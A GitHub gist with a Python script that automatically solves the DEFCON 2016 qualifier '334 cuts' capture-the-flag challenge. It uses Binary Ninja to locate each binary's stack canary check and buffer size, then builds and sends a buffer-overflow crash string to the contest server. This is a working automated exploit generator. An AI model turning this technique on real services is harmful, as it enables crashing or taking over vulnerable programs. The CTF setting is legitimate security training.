Last active
March 26, 2023 16:22
-
-
Save withzombies/3d7e2b077ba5af48ab1ba96678733e6f to your computer and use it in GitHub Desktop.
Script to solve the 334 cuts challenge from DEFCON 2016 quals using Binary Ninja
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import sys | |
try: | |
import binaryninja | |
except ImportError: | |
sys.path.append("/Applications/Binary Ninja.app/Contents/Resources/python/") | |
import binaryninja | |
import time | |
import socket | |
import base64 | |
s = socket.socket() | |
s.connect(('334_cuts_22ffeb97cf4f6ddb1802bf64c03e2aab.quals.shallweplayaga.me', 10334)) | |
print "Msg: " + s.recv(1024) | |
def readUntil(s, delim): | |
msg = "" | |
while delim not in msg: | |
msg += s.recv(1) | |
return msg | |
msg = readUntil(s, '\n') | |
while True: | |
# They send us the challenge name to process. | |
msg = readUntil(s, '\n') | |
if 'segfault' in msg: | |
print msg | |
break | |
chal = msg.strip() | |
# Open a binary view to the challenge as an elf | |
print "Analyzing {0}".format(chal) | |
bv = binaryninja.BinaryViewType["ELF"].open(chal) | |
bv.update_analysis() | |
time.sleep(0.1) | |
# start at the entry point | |
print "Entry Point: {0:x}".format(bv.entry_point) | |
entry = bv.get_functions_at(bv.entry_point)[0] # Get the entry point as a function object | |
count = 0 | |
start = None | |
# Iterate over the basic blocks in the entry function | |
for block in entry.low_level_il: | |
# Iterate over the basic blocks getting il instructions | |
for il in block: | |
# We only care about calls | |
if il.operation != binaryninja.core.LLIL_CALL: | |
continue | |
# The second call is the call to start | |
count += 1 | |
if count == 2: | |
start = bv.get_functions_at(il.operands[0].value)[0] | |
break | |
print "start: {0}".format(start) | |
# Do the same thing with main, it's the first call in start | |
main = None | |
for block in start.low_level_il: | |
for il in block: | |
if il.operation != binaryninja.core.LLIL_CALL: | |
continue | |
main = bv.get_functions_at(il.operands[0].value)[0] | |
print "main: {0}".format(main) | |
# Collect all the call instructions in main | |
calls = [] | |
for block in main.low_level_il: | |
for il in block: | |
if il.operation == binaryninja.core.LLIL_CALL: | |
calls.append(il) | |
# If there are 5, then the memcmp is the second one. With 6 its the 3rd one. | |
if len(calls) == 5: | |
memcmp = calls[1] | |
else: | |
memcmp = calls[2] | |
# We assume that ecx contains a reference to the canary string at the memcmp | |
# This isn't guarenteed to be true but it worked across all 334 challenge binaries | |
canary_address = main.get_reg_value_at_low_level_il_instruction(memcmp.address, 'ecx').value | |
canary = bv.read(canary_address, 4) | |
print "Canary: {0}".format(canary) | |
buffer_size = 0 | |
total_stack = 0 | |
# Get the stack layout and find the first stack reference past the canary. | |
# It'll be the buffer to overflow | |
for stackslot in reversed(main.stack_layout): | |
if stackslot.offset < (-21 - 8): | |
buffer_size = last_slot.offset - stackslot.offset | |
total_stack = (-stackslot.offset) + 4 | |
break | |
last_slot = stackslot | |
print "Buffer Size: {0} 0x{0:x}".format(buffer_size) | |
# Once we know the canary string and the buffer size, we can craft the crashing string | |
print buffer_size | |
crash_string = "a" * buffer_size | |
crash_string += canary[:4] | |
if total_stack % 4 != 0: # Let's align the total stack size | |
total_stack += 4 - (total_stack % 4) | |
crash_string += "a" * (total_stack - buffer_size - 4) | |
crash_string += '\n' | |
# Send the crashing string to the service | |
b64 = base64.b64encode(crash_string) | |
print chal, canary, crash_string.strip(), b64 | |
s.send(b64 + "\n") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment